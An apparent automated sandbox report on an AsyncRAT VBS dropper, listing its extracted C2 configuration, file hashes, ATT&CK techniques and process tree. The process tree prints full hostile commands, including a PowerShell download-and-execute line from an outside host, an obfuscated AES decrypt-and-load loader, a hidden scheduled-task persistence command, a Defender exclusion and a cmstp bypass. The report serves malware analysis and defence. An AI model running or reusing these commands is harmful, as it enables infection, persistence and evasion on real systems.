asyncrat | 5e34ea7fbf3080fe5b5ad6fb5a1a3f9b11e783dc8cda28985e048970256831c3

Analysis

max time kernel
298s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 20:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9765_output.vbs
Size

69KB
MD5

f0a90fbc29a64f4274b014755f88c990
SHA1

e8f7053bea6eab342edf9d80c15835b6fb6d9844
SHA256

df37f986e4342d26e408aa370058ba21d218aaac358ba940bde7ac1f035549d7
SHA512

fc42c09434d77f5688d23eab7700440196d07e517e3940d3b47484f2c4de214301063b9537febf1f3396fcf033cead22b4aecd68f18acc7c6f06f8f06ffc3c77
SSDEEP

768:Oyq+h3xb1DhEhMXSHLGjhlZrkoq22Ub9aLILRNho4rBT9qDCJfJw/urPFpjw4g:lhBJihvKjhbQoDNbUILRUcE4wWrtp0D

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3960-121-0x0000000005CD0000-0x0000000005CE2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 30 IoCs

flow	pid	Process
6	880	powershell.exe
40	3960	powershell.exe
41	3960	powershell.exe
43	3960	powershell.exe
50	3960	powershell.exe
51	3960	powershell.exe
52	3960	powershell.exe
53	3960	powershell.exe
54	3960	powershell.exe
55	3960	powershell.exe
56	3960	powershell.exe
57	3960	powershell.exe
58	3960	powershell.exe
59	3960	powershell.exe
60	3960	powershell.exe
61	3960	powershell.exe
62	3960	powershell.exe
63	3960	powershell.exe
64	3960	powershell.exe
65	3960	powershell.exe
66	3960	powershell.exe
67	3960	powershell.exe
68	3960	powershell.exe
69	3960	powershell.exe
70	3960	powershell.exe
71	3960	powershell.exe
72	3960	powershell.exe
73	3960	powershell.exe
74	3960	powershell.exe
75	3960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3960	powershell.exe
3636	powershell.exe
3716	powershell.exe
4120	powershell.exe
880	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
228	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
880	powershell.exe
880	powershell.exe
3636	powershell.exe
3636	powershell.exe
3716	powershell.exe
3716	powershell.exe
4120	powershell.exe
4120	powershell.exe
3960	powershell.exe
3960	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	228	taskkill.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 4840	2216	WScript.exe	83
PID 2216 wrote to memory of 4840	2216	WScript.exe	83
PID 4840 wrote to memory of 880	4840	cmd.exe	85
PID 4840 wrote to memory of 880	4840	cmd.exe	85
PID 880 wrote to memory of 3732	880	powershell.exe	87
PID 880 wrote to memory of 3732	880	powershell.exe	87
PID 3732 wrote to memory of 3756	3732	csc.exe	88
PID 3732 wrote to memory of 3756	3732	csc.exe	88
PID 880 wrote to memory of 1448	880	powershell.exe	89
PID 880 wrote to memory of 1448	880	powershell.exe	89
PID 2216 wrote to memory of 1580	2216	WScript.exe	108
PID 2216 wrote to memory of 1580	2216	WScript.exe	108
PID 1580 wrote to memory of 3716	1580	cmd.exe	110
PID 1580 wrote to memory of 3716	1580	cmd.exe	110
PID 1580 wrote to memory of 3716	1580	cmd.exe	110
PID 3716 wrote to memory of 4120	3716	powershell.exe	111
PID 3716 wrote to memory of 4120	3716	powershell.exe	111
PID 3716 wrote to memory of 4120	3716	powershell.exe	111
PID 3716 wrote to memory of 4672	3716	powershell.exe	115
PID 3716 wrote to memory of 4672	3716	powershell.exe	115
PID 3716 wrote to memory of 4672	3716	powershell.exe	115
PID 4672 wrote to memory of 520	4672	WScript.exe	116
PID 4672 wrote to memory of 520	4672	WScript.exe	116
PID 4672 wrote to memory of 520	4672	WScript.exe	116
PID 520 wrote to memory of 3960	520	cmd.exe	118
PID 520 wrote to memory of 3960	520	cmd.exe	118
PID 520 wrote to memory of 3960	520	cmd.exe	118

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9765_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kztru2k1\kztru2k1.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3732
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8074.tmp" "c:\Users\Admin\AppData\Local\Temp\kztru2k1\CSCB047CD18F1A04002BC679F4CC8EC226D.TMP"
        5⤵
        
        PID:3756
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\az25gr54.inf
      4⤵
      PID:1448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8l4w457KDIom6rIqFxIss0f2qXmFneRo91Mq9t/nGJg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QryA4ACPDNVab4+J6hK+gg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zmSQy=New-Object System.IO.MemoryStream(,$param_var); $CTpIN=New-Object System.IO.MemoryStream; $uhoSQ=New-Object System.IO.Compression.GZipStream($zmSQy, [IO.Compression.CompressionMode]::Decompress); $uhoSQ.CopyTo($CTpIN); $uhoSQ.Dispose(); $zmSQy.Dispose(); $CTpIN.Dispose(); $CTpIN.ToArray();}function execute_function($param_var,$param2_var){ $UlPQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xvztn=$UlPQj.EntryPoint; $xvztn.Invoke($null, $param2_var);}$xRCke = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $xRCke;$gqghP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xRCke).Split([Environment]::NewLine);foreach ($TgnJP in $gqghP) { if ($TgnJP.StartsWith(':: ')) { $uPmQq=$TgnJP.Substring(20); break; }}$payloads_var=[string[]]$uPmQq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3716
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_610_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_610.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4120
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_610.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4672
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_610.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:520
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8l4w457KDIom6rIqFxIss0f2qXmFneRo91Mq9t/nGJg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QryA4ACPDNVab4+J6hK+gg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zmSQy=New-Object System.IO.MemoryStream(,$param_var); $CTpIN=New-Object System.IO.MemoryStream; $uhoSQ=New-Object System.IO.Compression.GZipStream($zmSQy, [IO.Compression.CompressionMode]::Decompress); $uhoSQ.CopyTo($CTpIN); $uhoSQ.Dispose(); $zmSQy.Dispose(); $CTpIN.Dispose(); $CTpIN.ToArray();}function execute_function($param_var,$param2_var){ $UlPQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xvztn=$UlPQj.EntryPoint; $xvztn.Invoke($null, $param2_var);}$xRCke = 'C:\Users\Admin\AppData\Roaming\startup_str_610.bat';$host.UI.RawUI.WindowTitle = $xRCke;$gqghP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xRCke).Split([Environment]::NewLine);foreach ($TgnJP in $gqghP) { if ($TgnJP.StartsWith(':: ')) { $uPmQq=$TgnJP.Substring(20); break; }}$payloads_var=[string[]]$uPmQq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3636

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
8169483ec71651d4e544597976cba975

SHA1
b33a04f8566621f049c76f30a68f7c4d4bbe67d7

SHA256
97e255706c23cd2b52bd12a05579b4dbe22397598375b2e15b97dda60a6d1782

SHA512
58263ec811227eef0148b2c648c086c476be6a1ccd2990e7b6aaf65fd36194b67d27cb659cba6eecb14d9fc56b841f91143e0942b0993539205d45381625f37b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
291B

MD5
a3aca4751192def8dc19d63884fcfa9d

SHA1
46c5a6cb56f261a383bbb0ab16d796d6cea4d6a4

SHA256
81de3c2c6683b05120c133853b03f5b02696b5938733482df1fd37a6f3c4604f

SHA512
db6a9bda6456e6d183b9ab4cd5ee4ad3001bc7ac4494899654f76cc595727a20eb5b4a32b3a20bcb5ca57b1b3b09bd3e0f6289ac2b7240adbe46e14d8af20db2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
74d1002cda3a8f9a938b9dccb9a746b9

SHA1
ac8674cc788f31667cbcb9d87f824b59dca1f9eb

SHA256
691eef89596f30812d6e804b0301a33576e8e8e57f618e9e1200ba9ed87a7e43

SHA512
101127e270a542d1308d93559ec98ea28954cd76fd7bd0332f512424dae1e5e9807d24544bf2247760d33902bf0fdb784ff8479d21b45db542e624b47dfedad6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8074.tmp

Filesize
1KB

MD5
587f10949f2e6f1b6f8b9ea695a6eb75

SHA1
c0a1110f30eff7191c021647ed22477eb9f7906b

SHA256
299fe230f7bb72aba4e615f03f76bc5d929bb8ed6bb2b647edf1d7d3572f9621

SHA512
714da8917d66f2fcdec2f510e59afc9bf822d3221dec5cbdcfc7625a09003ecd1abdf3d6f3b8c4f253c3c69229ccc50b24b135f658905f2118ba86db541cc3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vnop22ej.kw4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
59KB

MD5
2fe4e3e118697eead89b94cebee0ed28

SHA1
db39a109814414635ab1a4927a7b6e36b4d1c6c7

SHA256
49e4034c34b5666f17def98af21b627c4bc9c1e9e8a7022b4d37135d3807d8bd

SHA512
ca116d36ff813b12323a25825282ee113295cf71b77e323999b7c6058490924f417e08f27e22549f4b4a996cd6ef84e34ab16c678a86767e76b2f3eb6dad585f

Download Submit
C:\Users\Admin\AppData\Local\Temp\kztru2k1\kztru2k1.dll

Filesize
4KB

MD5
08849e77d3ebbaa5534ac6c88b632d64

SHA1
f8f9cd8b8c30b0c225262b0fa750b6c337762fd1

SHA256
3ab3c535cf0365b1f7d457ad5912223fd1d9ab288c7025e4a404ce447f262a88

SHA512
ba0217a6d62ed0a7d615b09ee46c5cfa13f5eeca11013333cc379ee494dcf4700ae9e744c2cf187a9979963b5a867764e884a2feaa3d3bcf7567142eee8c7d6a

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_610.vbs

Filesize
115B

MD5
d129eb83206c7f0b519701e216f86694

SHA1
863f1343525759808b840c48167b612d3b6c01c5

SHA256
36fe53117aea0c12f706d92823dde466f6d974cf86be44dfa6494e87e7947591

SHA512
23de66f5663d278094fef5e0ef799dcc378162b337d40127e04dcc8608f7e7031a0dc4142ade6516395f3a6eaec9039433f33755dbb204caeec10d755d4457fe

Download Submit
C:\windows\temp\az25gr54.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kztru2k1\CSCB047CD18F1A04002BC679F4CC8EC226D.TMP

Filesize
652B

MD5
60ca64040daf91d1ac6823c844166598

SHA1
b77589c2344caff8a7077ed3e6a21cf97e77269e

SHA256
5d2718c0ee97ffbe7aa0a1483aecc787518027cc328b48cc66372f12308443af

SHA512
4579926c230c5ddf7a58aac606ba50fbb4ed873383cb3c071247110d9d85a0ab895fda5c6185b58499dba9140d2ce46a597ece2da550f907c883bf32fd65e4e4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kztru2k1\kztru2k1.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kztru2k1\kztru2k1.cmdline

Filesize
369B

MD5
b3a2656792c34083c3485f29ed84462b

SHA1
ccfc813fc03274d024ec0d5171490a130c43e8d0

SHA256
2ea2da2e7f8cb878fb0cc396d51046bb649b96fdd7ca9c2041ac128208790da0

SHA512
919f6a2409b6015b42d0f1b031623bafc194f6fa324f64e27ec61092a1d0acb954530fa1e1488232f85e20c123e32dfaa6f321a8dab183fda51c02d70eddf7a7

Download Submit
memory/880-44-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/880-43-0x00007FFD50683000-0x00007FFD50685000-memory.dmp

Filesize
8KB

Download
memory/880-13-0x000002BAF4FC0000-0x000002BAF4FDC000-memory.dmp

Filesize
112KB

Download
memory/880-48-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/880-12-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/880-26-0x000002BAF5020000-0x000002BAF5028000-memory.dmp

Filesize
32KB

Download
memory/880-0-0x00007FFD50683000-0x00007FFD50685000-memory.dmp

Filesize
8KB

Download
memory/880-11-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/880-1-0x000002BAF4E70000-0x000002BAF4E92000-memory.dmp

Filesize
136KB

Download
memory/3716-54-0x0000000005040000-0x0000000005668000-memory.dmp

Filesize
6.2MB

Download
memory/3716-57-0x00000000056E0000-0x0000000005746000-memory.dmp

Filesize
408KB

Download
memory/3716-56-0x0000000005670000-0x00000000056D6000-memory.dmp

Filesize
408KB

Download
memory/3716-69-0x0000000005D10000-0x0000000005D2E000-memory.dmp

Filesize
120KB

Download
memory/3716-70-0x0000000005DA0000-0x0000000005DEC000-memory.dmp

Filesize
304KB

Download
memory/3716-71-0x0000000007720000-0x0000000007D9A000-memory.dmp

Filesize
6.5MB

Download
memory/3716-72-0x00000000062F0000-0x000000000630A000-memory.dmp

Filesize
104KB

Download
memory/3716-73-0x0000000006EF0000-0x0000000006EFE000-memory.dmp

Filesize
56KB

Download
memory/3716-74-0x0000000007DA0000-0x0000000008344000-memory.dmp

Filesize
5.6MB

Download
memory/3716-67-0x00000000057C0000-0x0000000005B14000-memory.dmp

Filesize
3.3MB

Download
memory/3716-53-0x0000000004830000-0x0000000004866000-memory.dmp

Filesize
216KB

Download
memory/3716-55-0x0000000004F40000-0x0000000004F62000-memory.dmp

Filesize
136KB

Download
memory/3960-121-0x0000000005CD0000-0x0000000005CE2000-memory.dmp

Filesize
72KB

Download
memory/4120-85-0x0000000007530000-0x0000000007562000-memory.dmp

Filesize
200KB

Download
memory/4120-99-0x0000000007930000-0x00000000079C6000-memory.dmp

Filesize
600KB

Download
memory/4120-100-0x00000000078B0000-0x00000000078C1000-memory.dmp

Filesize
68KB

Download
memory/4120-98-0x0000000007720000-0x000000000772A000-memory.dmp

Filesize
40KB

Download
memory/4120-97-0x0000000007570000-0x0000000007613000-memory.dmp

Filesize
652KB

Download
memory/4120-96-0x00000000074F0000-0x000000000750E000-memory.dmp

Filesize
120KB

Download
memory/4120-86-0x00000000703A0000-0x00000000703EC000-memory.dmp

Filesize
304KB

Download